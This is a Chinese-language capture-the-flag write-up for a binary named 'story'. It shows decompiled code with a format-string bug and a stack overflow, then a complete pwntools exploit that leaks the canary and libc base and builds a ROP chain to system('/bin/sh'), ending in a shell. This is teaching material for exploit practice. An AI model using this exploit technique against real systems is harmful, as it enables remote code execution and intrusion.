0x00 程序分析 1 2 3 4 5 Canary : Yes → value: 0xf2afb7df22cc0200 NX : Yes PIE : No Fortify : No RelRO : Full
格式化字符串漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 char *sub_400915 () { char *v0; char s; unsigned __int64 v3; v3 = __readfsqword(0x28 u); printf ("Please Tell Your ID:" ); sub_400ABE((__int64)&s, 0x32 uLL); v0 = strdup(&s); printf ("Hello " , 50L L); printf (&s); putchar (10 ); return v0; }
程序自定义了一个输入函数sub_400ABE,功能就是向s中写入v1长度的字符串,但是s长度并没有大到1024,所以存在溢出,可以覆盖sub_4009A0这个函数的返回地址1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 char *sub_4009A0 () { __int64 v1; char s; unsigned __int64 v3; v3 = __readfsqword(0x28 u); puts ("Tell me the size of your story:" ); v1 = sub_400A54(); if ( v1 < 0 ) v1 = -v1; if ( v1 > 128 ) v1 = 1024L L; puts ("You can speak your story:" ); sub_400ABE((__int64)&s, v1); return strdup(&s); }
0x01 思路 程序存在格式化字符串漏洞、栈溢出,存在Canary,未开启PIE
利用格式化字符串漏洞获得栈上的Canary
利用格式化字符串漏洞打印函数地址,搜索libc的版本,获取偏移,计算得到-libc_base,计算得到system、/bin/sh、pop rdi;ret的地址
利用栈溢出劫持程序流
0x02 EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *REMOTE = 0 if REMOTE: p = remote('ctf1.linkedbyx.com' ,10255 ) else : p = process('./story' ) VERBOSE = 1 DEBUG = 0 if VERBOSE: context(log_level = 'debug' ) if DEBUG: gdb.attach(p) def q () : gdb.attach(p) raw_input("test" ) elf = ELF('./story' ) libc = ELF('./libc.so.6' ) pop_rdi_ret = 0x400bd3 def pwn () : p.recvuntil('Please Tell Your ID:' ) p.sendline("%11$p#%15$p#" ) p.recvuntil('Hello ' ) libc_base = int(p.recvuntil('#' ,drop = True ),16 )-libc.symbols['_IO_file_setbuf' ]-9 log.success('libc_base: ' +hex(libc_base)) binsh = libc_base + libc.search('/bin/sh\x00' ).next() system = libc_base + libc.symbols['system' ] canary = int(p.recvuntil('#' ,drop = True ),16 ) log.success('canary: ' +hex(canary)) p.recvuntil('Tell me the size of your story:' ) p.sendline('200' ) p.recvuntil('You can speak your story:' ) payload = 'a' *136 +p64(canary)*2 +p64(pop_rdi_ret)+p64(binsh)+p64(system) p.sendline(payload) p.interactive() if __name__ == '__main__' : pwn()
首先用格式化字符串泄露libc和canary,在用溢出修改返回地址获得shell